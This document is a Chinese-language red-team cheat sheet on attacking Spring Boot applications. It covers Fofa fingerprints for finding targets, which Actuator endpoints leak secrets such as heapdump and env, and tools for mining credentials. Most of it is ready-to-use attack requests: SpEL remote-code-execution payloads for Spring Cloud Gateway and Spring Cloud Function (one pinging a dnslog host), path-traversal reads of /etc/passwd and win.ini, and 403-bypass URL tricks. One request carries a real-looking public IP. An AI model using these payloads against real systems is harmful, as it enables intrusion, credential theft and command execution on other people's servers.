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SpringBoot框架打点

攻防中SpringBoot快速打点

参考链接:

https://blog.zgsec.cn/archives/129.html

https://forum.butian.net/share/1935

https://mp.weixin.qq.com/s/S1BLrSmjME1duMhDD1uKKA

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Fofaicon_hash="116323821"      通过图标寻找不太准确
Fofabody="Whitelabel Error Page"

1.Actuator 端点能干什么

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常见端点及其作用
路径	是否默认启用	功能描述
/auditevents		显示当前应用程序的审计事件信息
/beans		显示一个应用中所有Spring Beans的完整列表
/conditions		显示配置类和自动配置类的状态及它们被应用或未被应用的原因
/configprops		显示一个所有@ConfigurationProperties的集合列表
/env		显示来自Spring的 ConfigurableEnvironment的属性
/flyway		显示数据库迁移路径如果存在
/health		显示应用的健康信息当使用一个未认证连接访问时显示一个简单的status’,使用认证连接访问则显示全部信息详情
/info		显示任意的应用信息
/liquibase		展示任何Liquibase数据库迁移路径如果存在
/metrics		展示当前应用的metrics信息
/mappings		显示一个所有@RequestMapping路径的集合列表
/scheduledtasks		显示应用程序中的计划任务
/sessions		允许从Spring会话支持的会话存储中检索和删除用户会话
/shutdown		允许应用以优雅的方式关闭默认情况下不启用
/threaddump		执行一个线程dump
/heapdump		返回一个GZip压缩的hprof堆dump文件
/jolokia		通过HTTP暴露JMX beans当Jolokia在类路径上时WebFlux不可用
/logfile		返回日志文件内容如果设置了logging.file或logging.path属性的话),支持使用HTTP Range头接收日志文件内容的部分信息
/prometheus		以可以被Prometheus服务器抓取的格式显示metrics信息

低风险类

/actuator/health 应用健康状态(是否存活) 低,但可判断服务是否在线
/actuator/info 自定义信息(如 Git 版本、构建时间) 可能泄露版本号、分支名

中高风险(敏感信息泄露)

/actuator/env 所有环境变量和配置属性(含数据库密码、密钥、Redis 地址等) ⚠️ 极高!常含 spring.datasource.password
aliyun.accesskey
/actuator/configprops 所有 @ConfigurationProperties
配置
可能泄露中间件配置
/actuator/beans 所有 Spring Bean 及其依赖关系 可分析应用结构、识别漏洞组件
/actuator/mappings 所有 URL 路由映射(Controller 接口) 暴露未公开 API,如 /admin/deleteUser
/actuator/threaddump 线程堆栈信息 可分析死锁、业务逻辑
/actuator/heapdump 生成 JVM 堆内存快照(.hprof
文件)
可离线分析内存中的密码、密钥、用户数据
/actuator/loggers 查看/修改日志级别 可开启 debug 日志泄露更多信息

/actuator/mappings—泄露后端接口信息

/actuator/env所有环境变量和配置属性

大部分情况下是不可读的,如何读取呢?

项目地址:https://github.com/wh1t3zer/SpringBootVul-GUI

参考链接:https://mp.weixin.qq.com/s/LWJniWUIOvbWLQv9SmRv5A

https://mp.weixin.qq.com/s/JwAG7j6-YFKO1GYtWNp7sQ

/actuator/loggers—查看日志级别

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# 甚至能未授权修改为 日志级别DEBUG
POST /actuator/loggers/com.lark.oapi.service.mail
Content-Type: application/json

{"configuredLevel": "DEBUG"}

/actuator/heapdump—实战中最常用

https://github.com/wyzxxz/heapdump_tool

https://github.com/whwlsfb/JDumpSpider

云存储AK/SK泄露

数据库凭证泄露最常见

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RedisStandaloneConfiguration: hostName = localhost, password = , port = 6379
redis://localhost:6379

这个表明redis未配置密码存在redis未授权漏洞可实现RCE

Shiro Key泄露组合拳实现RCE

系统架构与路径信息泄露

/actuator/metrics

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GET /actuator/metrics/http.server.requests HTTP/1.1
Host: 152:8082
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:143.0) Gecko/20100101 Firefox/143.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Priority: u=0, i

/actuator/configprops—泄露所有@ConfigurationProperties配置

/swagger未授权访问—泄露所有后端接口和参数

3. 高风险(可操作/执行类)

⚠️ 这些端点在旧版本(Spring Boot < 2.0)或特殊配置下可能被滥用

端点 作用 风险
/actuator/shutdown 关闭应用(需显式启用) DoS 攻击
/actuator/restart 重启应用(需 Spring Cloud) 服务中断
/actuator/refresh 刷新配置(配合 Spring Cloud Config) 若结合 env
修改配置,可能触发 RCE(见下文)

2.Spring Boot常见漏洞

https://github.com/AabyssZG/SpringBoot-Scan

https://mp.weixin.qq.com/s/pRwLkFSlVcev7srsMPRuqQ

https://mp.weixin.qq.com/s/ArQRB02DvMIVe-dn6ZiTYw

2.1.Spring Cloud Gateway RCE漏洞

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POST /actuator/gateway/routes/oWNcO HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 427

{
              "id": "oWNcO",
              "filters": [{
                "name": "AddResponseHeader",
                "args": {"name": "Result","value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}
                }],
              "uri": "http://example.com",
              "order": 0
            }
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POST /actuator/gateway/refresh HTTP/1.1 
Host: 192.168.2.131:8080 
Connection: close 
Content-Type: application/x-www-form-urlencoded
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GET /actuator/gateway/routes/oWNcO HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36,Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Accept-Language: en
Content-Type: application/json
Content-Length: 427
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DELETE /actuator/gateway/routes/oWNcO HTTP/1.1
Host: 152.136.119.199:8082
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

2.2.Spring框架目录遍历漏洞CVE-2024-38816

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/static/link/%2e%2e/etc/passwd

2.3.任意文件读取

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/manage/log/view?filename=/windows/win.ini&base=../../../../../../../../../../

/log/view?filename=/windows/win.ini&base=../../../../../../../../../../

/manage/log/view?filename=/etc/passwd&base=../../../../../../../../../../

/log/view?filename=/etc/passwd&base=../../../../../../../../../../

2.4.Spring Cloud Function functionRouter SPEL代码执行漏洞

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POST /functionRouter HTTP/1.1
Host: 
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("ping ony8ez.dnslog.cn")

3.SpringBoot常见绕过

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;.css
;.js
http://xxx:8082/actuator/env;.js
http://xxx/actuator/..;/actuator/


https://xxxxxx.com.cn:8088/prod-api/actuat%6fr/  
https://xxxxxx.com.cn:8088/prod-api/actuat%6fr/env  ------ 成功访问
https://xxxxxx.com.cn:8088/prod-api/actuator/env  ------ 403

By Lsec
最后更新于 Nov 02, 2025 19:44 +0800
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